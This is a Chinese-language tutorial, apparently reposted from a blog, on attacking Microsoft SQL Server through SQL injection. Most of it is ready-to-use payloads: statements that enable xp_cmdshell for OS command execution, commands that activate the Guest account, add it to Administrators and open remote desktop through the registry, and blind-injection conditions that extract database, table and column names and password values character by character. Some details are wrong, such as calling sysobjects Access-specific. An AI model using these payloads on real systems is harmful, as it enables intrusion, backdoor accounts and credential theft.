SQLServer數據庫及注入方法


目錄

SQLServer數據庫

SQLServer數據庫的查詢語句

SA權限開啟xp_cmdshell獲取主機權限

盲注SQLServer數據庫


SQLServer數據庫

SQL Server數據庫是由Microsoft開發和推廣的關系數據庫管理系統(DBMS),是一個比較大型的數據庫。端口號為 1433。數據庫后綴名 .mdf,注釋符是 --

  • sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等system。SQLServer數據庫的最高權限
  • db權限:文件管理,數據庫操作等權限 users-administrators
  • public權限:數據庫操作 guest-users

SQLServer數據庫有6個默認的庫,分別是4個系統數據庫:mastermodel msdb tempdb,和2個其他數據庫:ReportServerReportServerTempDB。其中,model和tempdb是默認沒有數據表的。

但是如果用navicat遠程連接的話,只會顯示2個數據庫:ReportServerReportServerTempDB

SQLServer數據庫的查詢語句

select @@version;       #查詢數據庫的版本
select host_name();     #查詢主機名,如果是用navicat遠程連接的話,主機名是本地的名字
select db_name();       #查詢當前數據庫名
select user;            #查詢當前數據庫的擁有者,結果為 dbo。dbo是每個數據庫的默認用戶,具有所有者權限,全稱:datebaseOwner ,即DbOwner 
use tempdb              #切換到tempdb表  
top n                   #查詢前n條記錄
limit 2,3               #查詢第2條開始的3條數據,也就是2,3,4
select substring('string',2,1)     #截取給定字符串的索引為2的1個字符
select ascii('a')                  #查詢給定字符串的ascii值
select len('string')               #查詢給定字符串的長度

#數據庫的連接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

count(name)是查詢總數
name是查詢名字
*是查詢詳細信息

#查詢數據庫
select count(name) from sysdatabases     #查詢數據庫的個數
select name  from sysdatabases           #查詢數據庫的名字
select * from sysdatabases               #查詢所有數據庫的信息

#查詢數據表
select * from sysobjects where type='u'  #查詢當前數據庫的所有表的詳細信息
select count(name) from msdb..sysobjects where xtype='U'  #查詢指定msdb數據庫中表的個數
select name from msdb..sysobjects where xtype='U'         #查詢指定msdb數據庫中表的名字
select * from msdb..sysobjects where xtype='U'            #查詢指定msdb數據庫中表的詳細信息

#查詢列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')           #查詢當前數據庫的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')   #查詢指定test數據庫的指定users表的列的個數
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查詢指定test數據庫的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查詢指定test數據庫的指定users表的列的詳細信息

#查詢數據
select count(*) from test..user          #查詢test數據庫user表的數據的條數
select * from test..user                 #查詢test數據庫user表的所有數據

SA權限開啟xp_cmdshell獲取主機權限

如果xp_cmdshell權限沒開啟的話,我們可以執行下面命令開啟,下面四步,使xp_cmdshell開啟

select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  #判斷xp_cmdshell是否打開,1就是打開了,0就是關閉了

execute('sp_configure "show advanced options",1')  #將該選項的值設置為1
execute('reconfigure')                             #保存設置
execute('sp_configure "xp_cmdshell", 1')           #將xp_cmdshell的值設置為1
execute('reconfigure')                             #保存設置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #執行系統命令

或者
exec sp_configure 'show advanced options',1;       #將該選項的值設置為1
reconfigure;                                       #保存設置
exec sp_configure 'xp_cmdshell',1;                 #將xp_cmdshell的值設置為1
reconfigure;                                       #保存設置
exec sp_configure                                  #查看配置
exec xp_cmdshell 'whoami'                          #執行系統命令


可以執行系統權限之后,前提是獲取的主機權限是administrators組里的
exec xp_cmdshell 'net user Guest 123456'              #給guest用戶設置密碼
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add'  #將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #開啟3389端口

盲注SQLServer數據庫

Access數據庫特有的表是:sysobjects  ,所以可以用它來判斷是否是Access數據庫

exists(select*from sysobjects)  

判斷xp_cmdshell是否存在 

and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

 判斷當前數據庫用戶權限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常為sa
and 1=(IS_MEMBER('db_owner'))               //返回正常為DB_OWNER
and 1=(IS_srvrolemember('public'))          //public權限,較低

判斷數據庫的個數

 and (select count(name) from sysdatabases)>N

判斷dbid,一般數據庫有多少個,dbid的值就為多少

 and (select count(*) from sysdatabases where dbid=N)=1

 判斷當前數據庫名

判斷數據庫的長度,由以下得知數據庫的長度是8
and len(db_name())>5         //正常顯示
and len(db_name())>10        //不正常顯示
and len(db_name())>7         //正常顯示  
and len(db_name())>8         //不正常顯示

判斷數據庫字符的ascii值
and ascii(substring(db_name(),1,1))>95   //正常顯示
and ascii(substring(db_name(),1,1))>100  //不正常顯示
and ascii(substring(db_name(),1,1))>96   //正常顯示
and ascii(substring(db_name(),1,1))>97   //不正常顯示

所以數據庫的第一個字符的ascii值為97,即為a。

以此類推,數據庫的第二個字符為  and ascii(substring(db_name(),2,1))>97 
         數據庫的第三個字符為:and ascii(substring(db_name(),3,1))>97 
直到爆出數據庫最后一位字符,得到數據庫名字。

根據dbid得到所有數據庫名

判斷dbid數據庫的長度,由以下得知dbid為1數據庫的長度是8
and len(db_name(1))>5         //正常顯示
and len(db_name(1))>10        //不正常顯示
and len(db_name(1))>7         //正常顯示  
and len(db_name(1))>8         //不正常顯示

判斷dbid為2數據庫字符的ascii值
and ascii(substring(db_name(2),1,1))>95   //正常顯示
and ascii(substring(db_name(2),1,1))>100  //不正常顯示
and ascii(substring(db_name(2),1,1))>96   //正常顯示
and ascii(substring(db_name(2),1,1))>97   //不正常顯示

所以dbid為1數據庫的第一個字符的ascii值為97,即為a。

以此類推,數據庫的第二個字符為  and ascii(substring(db_name(),2,1))>97 
         數據庫的第三個字符為:and ascii(substring(db_name(),3,1))>97 
直到爆出數據庫最后一位字符,得到數據庫名字。

這里假設我們知道了數據庫中存在  test 數據庫。

爆破test數據庫中表的個數

and (select count(name) from test..sysobjects where xtype='U')>N

爆破test數據庫中表的長度和名稱

爆破test數據庫中第一個表的長度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
爆破test數據庫中第一個表的第一個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
爆破test數據庫中第一個表的第二個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
爆破test數據庫中第一個表的第三個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
.......

爆破test數據庫中第二個表的長度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
爆破test數據庫中第二個表的第一個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
爆破test數據庫中第二個表的第二個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
爆破test數據庫中第二個表的第三個字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
.......

這里假設我們爆出了user表 

爆破test數據庫中user表的列數

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

爆破test數據庫中user表的列名 

爆破test數據庫中user表的第一列的長度:
and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
爆破test數據庫中user表的第一列的第一個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
爆破test數據庫中user表的第一列的第二個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
爆破test數據庫中user表的第一列的第三個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
........

爆破test數據庫中user表的第二列的長度:
and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
爆破test數據庫中user表的第二列的第一個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
爆破test數據庫中user表的第二列的第二個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
爆破test數據庫中user表的第二列的第三個字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
........

這里假設我們爆出了password列

爆出test數據庫中user表中password列的數據條數 

and (select count(*) from test..user)=N

爆破test數據庫中user表中password列中的數據

爆破test數據庫中user表中password列中第一行數據的長度
and (select top 1 len(password) from test..user  where  password not in (select top 1 id from test..user))>N
爆破test數據庫中user表中password列中第一行數據的第一個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
爆破test數據庫中user表中password列中第一行數據的第二個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
爆破test數據庫中user表中password列中第一行數據的第三個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
........

爆破test數據庫中user表中password列中第二行數據的長度
and (select top 1 len(password) from test..user  where  password not in (select top 2 id from test..user))>N
爆破test數據庫中user表中password列中第二行數據的第一個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
爆破test數據庫中user表中password列中第二行數據的第二個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
爆破test數據庫中user表中password列中第二行數據的第三個字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
........

參考文章:https://www.cnblogs.com/lcamry/p/5763129.html

                  MSSQL手工盲注

                  SQL Server手工注入筆記

                  SQL注入漏洞詳解

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM